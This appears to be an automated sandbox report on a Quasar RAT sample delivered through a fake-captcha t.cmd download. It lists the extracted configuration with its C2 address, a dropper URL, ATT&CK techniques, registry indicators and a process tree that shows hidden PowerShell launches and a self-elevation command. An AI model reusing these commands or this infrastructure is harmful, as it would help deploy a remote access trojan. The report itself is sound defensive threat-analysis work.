quasar | hxxps://captcha[.]cam/t[.]cmd

Analysis

max time kernel
150s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
30/12/2024, 02:02

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

https://captcha.cam/t.cmd

Score

10^/10

quasar 28 discovery execution spyware trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://captcha.cam/file.b64

Extracted

Family

quasar

Version

1.4.1

Botnet

194.26.192.167:2768

Mutex

859d5f90-e2d0-4b2d-ba9f-5371df032ec2

Attributes

encryption_key
BE2B0B270E4DB19CAA5C42E9D2EBF64645A2D055
install_name
RuntimeBroker.exe
log_directory
Logs
reconnect_delay
3000
startup_key
RuntimeBroker
subdirectory
RuntimeBroker

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Quasar family
quasar

Quasar payload 2 IoCs

resource	yara_rule
behavioral1/files/0x0008000000023c86-209.dat	family_quasar
behavioral1/memory/1444-217-0x0000000000310000-0x0000000000634000-memory.dmp	family_quasar

Blocklisted process makes network request 1 IoCs

flow	pid	Process
72	3328	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Start PowerShell.

execution

PowerShell

T1059.001

pid	Process
2244	powershell.exe
5080	powershell.exe
2664	powershell.exe
2948	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
1444	RuntimeBroker.exe
4032	RuntimeBroker.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	taskmgr.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies registry class 41 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings	taskmgr.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 0000000001000000ffffffff	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\NodeSlot = "4"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\FFlags = "1092616257"	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\0	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\MRUListEx = 0100000000000000ffffffff	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02020202	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\LogicalViewMode = "3"	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}"	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 0100000000000000ffffffff	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\IconSize = "48"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\1	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\1\0	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\GroupView = "0"	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 020202	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a000000a000000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\GroupByKey:PID = "0"	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\SniffedFolderType = "Generic"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\GroupByDirection = "1"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\MRUListEx = 0000000001000000ffffffff	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\Mode = "1"	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\FFlags = "1"	msedge.exe

NTFS ADS 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\Unconfirmed 337702.crdownload:SmartScreen	msedge.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
464	NOTEPAD.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4660	schtasks.exe
3284	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4600	msedge.exe
4600	msedge.exe
4896	msedge.exe
4896	msedge.exe
3076	identity_helper.exe
3076	identity_helper.exe
112	msedge.exe
112	msedge.exe
5080	powershell.exe
5080	powershell.exe
5080	powershell.exe
2244	powershell.exe
2244	powershell.exe
2244	powershell.exe
2664	powershell.exe
2664	powershell.exe
2664	powershell.exe
3660	powershell.exe
3660	powershell.exe
3660	powershell.exe
2948	powershell.exe
2948	powershell.exe
2948	powershell.exe
2244	powershell.exe
2244	powershell.exe
2244	powershell.exe
3328	powershell.exe
3328	powershell.exe
3328	powershell.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

pid	Process
4032	RuntimeBroker.exe
1420	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 18 IoCs

pid	Process
4896	msedge.exe
4896	msedge.exe
4896	msedge.exe
4896	msedge.exe
4896	msedge.exe
4896	msedge.exe
4896	msedge.exe
4896	msedge.exe
4896	msedge.exe
4896	msedge.exe
4896	msedge.exe
4896	msedge.exe
4896	msedge.exe
4896	msedge.exe
4896	msedge.exe
4896	msedge.exe
4896	msedge.exe
4896	msedge.exe

Suspicious use of AdjustPrivilegeToken 12 IoCs

description	pid	Process
Token: SeDebugPrivilege	5080	powershell.exe
Token: SeDebugPrivilege	2244	powershell.exe
Token: SeDebugPrivilege	2664	powershell.exe
Token: SeDebugPrivilege	3660	powershell.exe
Token: SeDebugPrivilege	2948	powershell.exe
Token: SeDebugPrivilege	2244	powershell.exe
Token: SeDebugPrivilege	3328	powershell.exe
Token: SeDebugPrivilege	1444	RuntimeBroker.exe
Token: SeDebugPrivilege	4032	RuntimeBroker.exe
Token: SeDebugPrivilege	1796	taskmgr.exe
Token: SeSystemProfilePrivilege	1796	taskmgr.exe
Token: SeCreateGlobalPrivilege	1796	taskmgr.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
4896	msedge.exe
4896	msedge.exe
4896	msedge.exe
4896	msedge.exe
4896	msedge.exe
4896	msedge.exe
4896	msedge.exe
4896	msedge.exe
4896	msedge.exe
4896	msedge.exe
4896	msedge.exe
4896	msedge.exe
4896	msedge.exe
4896	msedge.exe
4896	msedge.exe
4896	msedge.exe
4896	msedge.exe
4896	msedge.exe
4896	msedge.exe
4896	msedge.exe
4896	msedge.exe
4896	msedge.exe
4896	msedge.exe
4896	msedge.exe
4896	msedge.exe
4896	msedge.exe
4896	msedge.exe
4896	msedge.exe
4896	msedge.exe
4896	msedge.exe
4896	msedge.exe
4896	msedge.exe
4896	msedge.exe
4896	msedge.exe
4896	msedge.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
4896	msedge.exe
4896	msedge.exe
4896	msedge.exe
4896	msedge.exe
4896	msedge.exe
4896	msedge.exe
4896	msedge.exe
4896	msedge.exe
4896	msedge.exe
4896	msedge.exe
4896	msedge.exe
4896	msedge.exe
4896	msedge.exe
4896	msedge.exe
4896	msedge.exe
4896	msedge.exe
4896	msedge.exe
4896	msedge.exe
4896	msedge.exe
4896	msedge.exe
4896	msedge.exe
4896	msedge.exe
4896	msedge.exe
4896	msedge.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe
1796	taskmgr.exe

Suspicious use of SetWindowsHookEx 19 IoCs

pid	Process
4032	RuntimeBroker.exe
1420	msedge.exe
1420	msedge.exe
1420	msedge.exe
1420	msedge.exe
1420	msedge.exe
1420	msedge.exe
1420	msedge.exe
1420	msedge.exe
1420	msedge.exe
1420	msedge.exe
1420	msedge.exe
1420	msedge.exe
1420	msedge.exe
1420	msedge.exe
1420	msedge.exe
1420	msedge.exe
1420	msedge.exe
1420	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4896 wrote to memory of 1288	4896	msedge.exe	84
PID 4896 wrote to memory of 1288	4896	msedge.exe	84
PID 4896 wrote to memory of 2552	4896	msedge.exe	85
PID 4896 wrote to memory of 2552	4896	msedge.exe	85
PID 4896 wrote to memory of 2552	4896	msedge.exe	85
PID 4896 wrote to memory of 2552	4896	msedge.exe	85
PID 4896 wrote to memory of 2552	4896	msedge.exe	85
PID 4896 wrote to memory of 2552	4896	msedge.exe	85
PID 4896 wrote to memory of 2552	4896	msedge.exe	85
PID 4896 wrote to memory of 2552	4896	msedge.exe	85
PID 4896 wrote to memory of 2552	4896	msedge.exe	85
PID 4896 wrote to memory of 2552	4896	msedge.exe	85
PID 4896 wrote to memory of 2552	4896	msedge.exe	85
PID 4896 wrote to memory of 2552	4896	msedge.exe	85
PID 4896 wrote to memory of 2552	4896	msedge.exe	85
PID 4896 wrote to memory of 2552	4896	msedge.exe	85
PID 4896 wrote to memory of 2552	4896	msedge.exe	85
PID 4896 wrote to memory of 2552	4896	msedge.exe	85
PID 4896 wrote to memory of 2552	4896	msedge.exe	85
PID 4896 wrote to memory of 2552	4896	msedge.exe	85
PID 4896 wrote to memory of 2552	4896	msedge.exe	85
PID 4896 wrote to memory of 2552	4896	msedge.exe	85
PID 4896 wrote to memory of 2552	4896	msedge.exe	85
PID 4896 wrote to memory of 2552	4896	msedge.exe	85
PID 4896 wrote to memory of 2552	4896	msedge.exe	85
PID 4896 wrote to memory of 2552	4896	msedge.exe	85
PID 4896 wrote to memory of 2552	4896	msedge.exe	85
PID 4896 wrote to memory of 2552	4896	msedge.exe	85
PID 4896 wrote to memory of 2552	4896	msedge.exe	85
PID 4896 wrote to memory of 2552	4896	msedge.exe	85
PID 4896 wrote to memory of 2552	4896	msedge.exe	85
PID 4896 wrote to memory of 2552	4896	msedge.exe	85
PID 4896 wrote to memory of 2552	4896	msedge.exe	85
PID 4896 wrote to memory of 2552	4896	msedge.exe	85
PID 4896 wrote to memory of 2552	4896	msedge.exe	85
PID 4896 wrote to memory of 2552	4896	msedge.exe	85
PID 4896 wrote to memory of 2552	4896	msedge.exe	85
PID 4896 wrote to memory of 2552	4896	msedge.exe	85
PID 4896 wrote to memory of 2552	4896	msedge.exe	85
PID 4896 wrote to memory of 2552	4896	msedge.exe	85
PID 4896 wrote to memory of 2552	4896	msedge.exe	85
PID 4896 wrote to memory of 2552	4896	msedge.exe	85
PID 4896 wrote to memory of 4600	4896	msedge.exe	86
PID 4896 wrote to memory of 4600	4896	msedge.exe	86
PID 4896 wrote to memory of 1084	4896	msedge.exe	87
PID 4896 wrote to memory of 1084	4896	msedge.exe	87
PID 4896 wrote to memory of 1084	4896	msedge.exe	87
PID 4896 wrote to memory of 1084	4896	msedge.exe	87
PID 4896 wrote to memory of 1084	4896	msedge.exe	87
PID 4896 wrote to memory of 1084	4896	msedge.exe	87
PID 4896 wrote to memory of 1084	4896	msedge.exe	87
PID 4896 wrote to memory of 1084	4896	msedge.exe	87
PID 4896 wrote to memory of 1084	4896	msedge.exe	87
PID 4896 wrote to memory of 1084	4896	msedge.exe	87
PID 4896 wrote to memory of 1084	4896	msedge.exe	87
PID 4896 wrote to memory of 1084	4896	msedge.exe	87
PID 4896 wrote to memory of 1084	4896	msedge.exe	87
PID 4896 wrote to memory of 1084	4896	msedge.exe	87
PID 4896 wrote to memory of 1084	4896	msedge.exe	87
PID 4896 wrote to memory of 1084	4896	msedge.exe	87
PID 4896 wrote to memory of 1084	4896	msedge.exe	87
PID 4896 wrote to memory of 1084	4896	msedge.exe	87
PID 4896 wrote to memory of 1084	4896	msedge.exe	87
PID 4896 wrote to memory of 1084	4896	msedge.exe	87

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --single-argument https://captcha.cam/t.cmd
1⤵
- Enumerates system info in registry
- Modifies registry class
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4896
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffb906b46f8,0x7ffb906b4708,0x7ffb906b4718
  2⤵
  PID:1288
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2020,10533643097130953511,3189725836580096261,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2052 /prefetch:2
  2⤵
  PID:2552
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2020,10533643097130953511,3189725836580096261,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2400 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4600
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2020,10533643097130953511,3189725836580096261,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2712 /prefetch:8
  2⤵
  PID:1084
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2020,10533643097130953511,3189725836580096261,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3388 /prefetch:1
  2⤵
  PID:2788
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2020,10533643097130953511,3189725836580096261,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3380 /prefetch:1
  2⤵
  PID:3636
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2020,10533643097130953511,3189725836580096261,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5224 /prefetch:8
  2⤵
  PID:2164
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2020,10533643097130953511,3189725836580096261,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5224 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3076
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2020,10533643097130953511,3189725836580096261,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=5568 /prefetch:8
  2⤵
  PID:3920
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2020,10533643097130953511,3189725836580096261,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5452 /prefetch:1
  2⤵
  PID:3268
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2020,10533643097130953511,3189725836580096261,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6012 /prefetch:1
  2⤵
  PID:348
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2020,10533643097130953511,3189725836580096261,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5784 /prefetch:1
  2⤵
  PID:1124
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2020,10533643097130953511,3189725836580096261,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6460 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:112
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\t.cmd" "
  2⤵
  PID:2564
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -w h -command ""
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5080
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Start-Process -Verb RunAs -FilePath '"C:\Users\Admin\Downloads\t.cmd"' -ArgumentList 'am_admin'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2244
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\Downloads\t.cmd" am_admin
      4⤵
      PID:3268
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -w h -command ""
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2664
